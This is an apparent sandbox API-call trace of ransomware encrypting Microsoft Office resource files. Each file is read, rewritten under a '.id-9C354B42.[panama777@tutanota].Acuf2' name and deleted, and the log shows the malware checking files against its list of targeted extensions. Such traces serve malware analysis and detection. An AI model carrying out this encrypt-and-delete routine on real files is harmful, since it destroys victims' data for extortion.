	[0260.069] ReadFile (in: hFile=0x33c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x587c9, lpOverlapped=0x0) returned 1
	[0260.405] WriteFile (in: hFile=0x350, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x587d0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x587d0, lpOverlapped=0x0) returned 1
	[0260.411] ReadFile (in: hFile=0x33c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.411] WriteFile (in: hFile=0x350, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0260.411] SetEndOfFile (hFile=0x350) returned 1
	[0260.411] CloseHandle (hObject=0x350) returned 1
	[0260.411] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.411] SetEndOfFile (hFile=0x33c) returned 1
	[0260.420] CloseHandle (hObject=0x33c) returned 1
	[0260.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta")) returned 1
	[0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.421] lstrlenW (lpString=".doc") returned 4
	[0260.421] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1
	[0260.421] lstrlenW (lpString=".docx") returned 5
	[0260.421] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1
	[0260.421] lstrlenW (lpString=".pdf") returned 4
	[0260.421] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1
	[0260.421] lstrlenW (lpString=".xls") returned 4
	[0260.421] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1
	[0260.421] lstrlenW (lpString=".xlsx") returned 5
	[0260.421] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1
	[0260.421] lstrlenW (lpString=".ppt") returned 4
	[0260.421] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1
	[0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.421] lstrlenW (lpString=".zip") returned 4
	[0260.421] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1
	[0260.421] lstrlenW (lpString=".rar") returned 4
	[0260.421] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1
	[0260.421] lstrlenW (lpString=".bz2") returned 4
	[0260.421] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1
	[0260.421] lstrlenW (lpString=".7z") returned 3
	[0260.421] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1
	[0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.421] lstrlenW (lpString=".dbf") returned 4
	[0260.421] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1
	[0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.421] lstrlenW (lpString=".1cd") returned 4
	[0260.421] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1
	[0260.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.422] lstrlenW (lpString=".jpg") returned 4
	[0260.422] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1
	[0260.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.422] lstrlenW (lpString=".doc") returned 4
	[0260.422] lstrcmpiW (lpString1=".doc", lpString2=".gta") returned -1
	[0260.422] lstrlenW (lpString=".docx") returned 5
	[0260.422] lstrcmpiW (lpString1=".docx", lpString2="4.gta") returned -1
	[0260.422] lstrlenW (lpString=".pdf") returned 4
	[0260.422] lstrcmpiW (lpString1=".pdf", lpString2=".gta") returned 1
	[0260.422] lstrlenW (lpString=".xls") returned 4
	[0260.422] lstrcmpiW (lpString1=".xls", lpString2=".gta") returned 1
	[0260.422] lstrlenW (lpString=".xlsx") returned 5
	[0260.422] lstrcmpiW (lpString1=".xlsx", lpString2="4.gta") returned -1
	[0260.422] lstrlenW (lpString=".ppt") returned 4
	[0260.422] lstrcmpiW (lpString1=".ppt", lpString2=".gta") returned 1
	[0260.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.422] lstrlenW (lpString=".zip") returned 4
	[0260.422] lstrcmpiW (lpString1=".zip", lpString2=".gta") returned 1
	[0260.422] lstrlenW (lpString=".rar") returned 4
	[0260.422] lstrcmpiW (lpString1=".rar", lpString2=".gta") returned 1
	[0260.422] lstrlenW (lpString=".bz2") returned 4
	[0260.422] lstrcmpiW (lpString1=".bz2", lpString2=".gta") returned -1
	[0260.422] lstrlenW (lpString=".7z") returned 3
	[0260.422] lstrcmpiW (lpString1=".7z", lpString2="gta") returned -1
	[0260.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.422] lstrlenW (lpString=".dbf") returned 4
	[0260.422] lstrcmpiW (lpString1=".dbf", lpString2=".gta") returned -1
	[0260.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.422] lstrlenW (lpString=".1cd") returned 4
	[0260.422] lstrcmpiW (lpString1=".1cd", lpString2=".gta") returned -1
	[0260.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta") returned 64
	[0260.423] lstrlenW (lpString=".jpg") returned 4
	[0260.423] lstrcmpiW (lpString1=".jpg", lpString2=".gta") returned 1
	[0260.423] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0260.423] lstrlenW (lpString="DL_RES.DLL") returned 10
	[0260.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.424] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=10632) returned 1
	[0260.424] CloseHandle (hObject=0x33c) returned 1
	[0260.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll")) returned 0x20
	[0260.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0260.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.424] lstrlenW (lpString=".doc") returned 4
	[0260.424] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.424] lstrlenW (lpString=".docx") returned 5
	[0260.424] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0260.424] lstrlenW (lpString=".pdf") returned 4
	[0260.424] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.424] lstrlenW (lpString=".xls") returned 4
	[0260.424] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.424] lstrlenW (lpString=".xlsx") returned 5
	[0260.424] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0260.425] lstrlenW (lpString=".ppt") returned 4
	[0260.425] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.425] lstrlenW (lpString=".zip") returned 4
	[0260.425] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.425] lstrlenW (lpString=".rar") returned 4
	[0260.425] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.425] lstrlenW (lpString=".bz2") returned 4
	[0260.425] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.425] lstrlenW (lpString=".7z") returned 3
	[0260.425] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.425] lstrlenW (lpString=".dbf") returned 4
	[0260.425] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.425] lstrlenW (lpString=".1cd") returned 4
	[0260.425] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.425] lstrlenW (lpString=".jpg") returned 4
	[0260.425] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.425] lstrlenW (lpString=".doc") returned 4
	[0260.425] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0260.425] lstrlenW (lpString=".docx") returned 5
	[0260.425] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0260.425] lstrlenW (lpString=".pdf") returned 4
	[0260.425] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0260.425] lstrlenW (lpString=".xls") returned 4
	[0260.425] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0260.425] lstrlenW (lpString=".xlsx") returned 5
	[0260.425] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0260.426] lstrlenW (lpString=".ppt") returned 4
	[0260.426] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0260.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.426] lstrlenW (lpString=".zip") returned 4
	[0260.426] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0260.426] lstrlenW (lpString=".rar") returned 4
	[0260.426] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0260.426] lstrlenW (lpString=".bz2") returned 4
	[0260.426] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0260.426] lstrlenW (lpString=".7z") returned 3
	[0260.426] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0260.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.426] lstrlenW (lpString=".dbf") returned 4
	[0260.426] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0260.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.426] lstrlenW (lpString=".1cd") returned 4
	[0260.426] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0260.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL") returned 58
	[0260.426] lstrlenW (lpString=".jpg") returned 4
	[0260.426] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0260.426] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0260.426] lstrlenW (lpString="DOORSCHD.VRD") returned 12
	[0260.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.427] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=1723) returned 1
	[0260.427] CloseHandle (hObject=0x33c) returned 1
	[0260.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 0x20
	[0260.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0260.427] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.427] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0260.427] GetLastError () returned 0x0
	[0260.427] ReadFile (in: hFile=0x33c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x6bb, lpOverlapped=0x0) returned 1
	[0260.429] WriteFile (in: hFile=0x350, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x6c0, lpOverlapped=0x0) returned 1
	[0260.430] ReadFile (in: hFile=0x33c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.430] WriteFile (in: hFile=0x350, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.430] SetEndOfFile (hFile=0x350) returned 1
	[0260.430] CloseHandle (hObject=0x350) returned 1
	[0260.430] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.430] SetEndOfFile (hFile=0x33c) returned 1
	[0260.432] CloseHandle (hObject=0x33c) returned 1
	[0260.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 1
	[0260.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.433] lstrlenW (lpString=".doc") returned 4
	[0260.433] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0260.433] lstrlenW (lpString=".docx") returned 5
	[0260.433] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1
	[0260.433] lstrlenW (lpString=".pdf") returned 4
	[0260.433] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0260.433] lstrlenW (lpString=".xls") returned 4
	[0260.433] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0260.433] lstrlenW (lpString=".xlsx") returned 5
	[0260.433] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1
	[0260.433] lstrlenW (lpString=".ppt") returned 4
	[0260.433] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0260.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.433] lstrlenW (lpString=".zip") returned 4
	[0260.433] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0260.433] lstrlenW (lpString=".rar") returned 4
	[0260.433] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0260.433] lstrlenW (lpString=".bz2") returned 4
	[0260.433] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0260.433] lstrlenW (lpString=".7z") returned 3
	[0260.434] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.434] lstrlenW (lpString=".dbf") returned 4
	[0260.434] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.434] lstrlenW (lpString=".1cd") returned 4
	[0260.434] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.434] lstrlenW (lpString=".jpg") returned 4
	[0260.434] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.434] lstrlenW (lpString=".doc") returned 4
	[0260.434] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString=".docx") returned 5
	[0260.434] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1
	[0260.434] lstrlenW (lpString=".pdf") returned 4
	[0260.434] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString=".xls") returned 4
	[0260.434] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0260.434] lstrlenW (lpString=".xlsx") returned 5
	[0260.434] lstrcmpiW (lpString1=".xlsx", lpString2="D.VRD") returned -1
	[0260.434] lstrlenW (lpString=".ppt") returned 4
	[0260.434] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.434] lstrlenW (lpString=".zip") returned 4
	[0260.434] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0260.434] lstrlenW (lpString=".rar") returned 4
	[0260.434] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString=".bz2") returned 4
	[0260.434] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0260.434] lstrlenW (lpString=".7z") returned 3
	[0260.435] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0260.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.435] lstrlenW (lpString=".dbf") returned 4
	[0260.435] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0260.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.435] lstrlenW (lpString=".1cd") returned 4
	[0260.435] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0260.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD") returned 60
	[0260.435] lstrlenW (lpString=".jpg") returned 4
	[0260.435] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0260.435] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0260.435] lstrlenW (lpString="DRILLDWN.VSL") returned 12
	[0260.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0261.529] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=64872) returned 1
	[0261.529] CloseHandle (hObject=0x29c) returned 1
	[0261.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 0x20
	[0261.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0261.821] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.821] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0262.204] GetLastError () returned 0x0
	[0262.204] ReadFile (in: hFile=0x330, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xfd68, lpOverlapped=0x0) returned 1
	[0262.225] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfd70, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfd70, lpOverlapped=0x0) returned 1
	[0262.227] ReadFile (in: hFile=0x330, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.227] WriteFile (in: hFile=0x360, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.227] SetEndOfFile (hFile=0x360) returned 1
	[0262.227] CloseHandle (hObject=0x360) returned 1
	[0262.227] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.227] SetEndOfFile (hFile=0x330) returned 1
	[0262.232] CloseHandle (hObject=0x330) returned 1
	[0262.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 1
	[0262.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.232] lstrlenW (lpString=".doc") returned 4
	[0262.232] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0262.232] lstrlenW (lpString=".docx") returned 5
	[0262.232] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1
	[0262.232] lstrlenW (lpString=".pdf") returned 4
	[0262.232] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString=".xls") returned 4
	[0262.233] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0262.233] lstrlenW (lpString=".xlsx") returned 5
	[0262.233] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1
	[0262.233] lstrlenW (lpString=".ppt") returned 4
	[0262.233] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.233] lstrlenW (lpString=".zip") returned 4
	[0262.233] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0262.233] lstrlenW (lpString=".rar") returned 4
	[0262.233] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString=".bz2") returned 4
	[0262.233] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0262.233] lstrlenW (lpString=".7z") returned 3
	[0262.233] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0262.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL") returned 60
	[0262.233] lstrlenW (lpString=".dbf") returned 4
	[0262.233] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
